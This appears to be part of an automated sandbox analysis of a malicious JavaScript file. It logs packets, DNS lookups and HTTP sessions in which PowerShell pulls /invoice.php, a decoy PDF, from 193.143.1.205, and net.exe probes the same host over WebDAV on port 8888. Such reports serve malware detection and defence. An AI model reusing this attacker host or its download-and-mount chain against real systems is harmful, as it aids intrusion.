Jan 13, 2025 14:57:02.185352087 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185357094 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185363054 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185374975 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185389042 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185389996 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185411930 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185414076 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185429096 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185441971 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185455084 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185456038 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185467005 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185478926 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185480118 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185493946 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185507059 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185508966 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185524940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185535908 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185547113 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185558081 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185563087 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185563087 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185571909 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185585976 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185586929 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185597897 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185601950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185611963 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185622931 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185633898 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185641050 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185645103 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185656071 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185677052 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185678005 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185692072 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185694933 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185705900 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185715914 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185723066 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185726881 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185736895 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185739040 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185748100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185758114 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185774088 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185775995 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185787916 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185797930 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185801029 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185808897 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185811996 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185832024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185842037 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185842991 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185854912 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185866117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185875893 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185882092 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185885906 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185895920 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185898066 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185906887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185920000 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185924053 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185937881 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185949087 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185959101 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185961962 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185970068 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185977936 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185981035 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185992002 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186002016 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186003923 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186012030 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186022043 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186024904 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186033964 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186044931 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186047077 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186054945 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186067104 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186068058 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186084986 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186085939 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186095953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186114073 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186122894 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186125040 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186134100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186145067 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186147928 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186156988 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186167955 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186176062 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186178923 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186192989 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186201096 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186203957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186214924 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186219931 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186227083 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186237097 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186248064 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186254978 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.186259031 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.186283112 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.203735113 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203762054 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203780890 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203797102 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.203809023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203825951 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203828096 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.203838110 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203849077 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203859091 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.203855038 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.203886032 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.208591938 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.208652020 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.208663940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.208676100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.208687067 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.208722115 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.423785925 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.423841953 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.429229021 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434077024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434089899 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434112072 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434123993 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434135914 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434174061 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434221029 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434242010 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434256077 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434272051 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434284925 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434290886 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434302092 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434310913 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434326887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434339046 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434350014 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434364080 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434386969 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434392929 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434406996 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434421062 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434428930 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434448957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434459925 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434470892 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434484959 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434499979 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434505939 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434518099 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434531927 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434540987 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434554100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434571028 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434576035 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434587955 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434606075 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434618950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434628010 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434640884 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434647083 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434662104 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434672117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434679985 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434695005 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434705019 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.434717894 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434732914 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.434756041 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.483716011 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.556348085 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.673275948 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.855608940 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:03.321331024 CET	49710	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:03.326334000 CET	8888	49710	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:03.326457977 CET	49710	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:03.326608896 CET	49710	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:03.331621885 CET	8888	49710	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:04.146352053 CET	8888	49710	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:04.186844110 CET	49710	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:04.527172089 CET	49710	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 14:57:11.198569059 CET	50535	53	192.168.2.8	1.1.1.1
Jan 13, 2025 14:57:30.038609982 CET	57745	53	192.168.2.8	1.1.1.1
Jan 13, 2025 14:57:42.476001978 CET	62276	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 14:57:11.198569059 CET	192.168.2.8	1.1.1.1	0x1898	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 14:57:30.038609982 CET	192.168.2.8	1.1.1.1	0xc3a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 14:57:42.476001978 CET	192.168.2.8	1.1.1.1	0x7e31	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 13, 2025 14:57:11.205971003 CET	1.1.1.1	192.168.2.8	0x1898	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 14:57:30.045785904 CET	1.1.1.1	192.168.2.8	0xc3a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 14:57:42.484482050 CET	1.1.1.1	192.168.2.8	0x7e31	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	193.143.1.205	80	3700	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 14:57:00.710704088 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 14:57:01.506706953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 13:57:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 13, 2025 14:57:01.506727934 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 14:57:01.506745100 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 14:57:01.506759882 CET	1236	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 14:57:01.506777048 CET	1236	IN	Data Raw: 8f cf 44 e9 c0 d0 79 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 Data Ascii: DycyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M
Jan 13, 2025 14:57:01.506791115 CET	1236	IN	Data Raw: 6a 62 28 3d 74 53 a6 be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 Data Ascii: jb(=tS9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV
Jan 13, 2025 14:57:01.506809950 CET	1236	IN	Data Raw: 35 2b 27 b3 42 03 aa 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 Data Ascii: 5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|Fh
Jan 13, 2025 14:57:01.506824017 CET	1236	IN	Data Raw: d6 ca cd 7d 43 af 66 a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b Data Ascii: }Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG
Jan 13, 2025 14:57:01.506839991 CET	1236	IN	Data Raw: 5b 3f 45 66 7f ff 97 d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de Data Ascii: [?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il
Jan 13, 2025 14:57:01.506853104 CET	319	IN	Data Raw: a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 Data Ascii: 8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsI
Jan 13, 2025 14:57:01.550980091 CET	1236	IN	Data Raw: 1d 8b 25 3b d6 b7 33 73 8c a9 d9 7b 1c 5e 9e 61 5a ad e9 a1 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e Data Ascii: %;3s{^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	193.143.1.205	8888	3160	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 14:57:03.326608896 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 14:57:04.146352053 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 13:57:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	08:56:56
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js"
Imagebase:	0x7ff708b00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

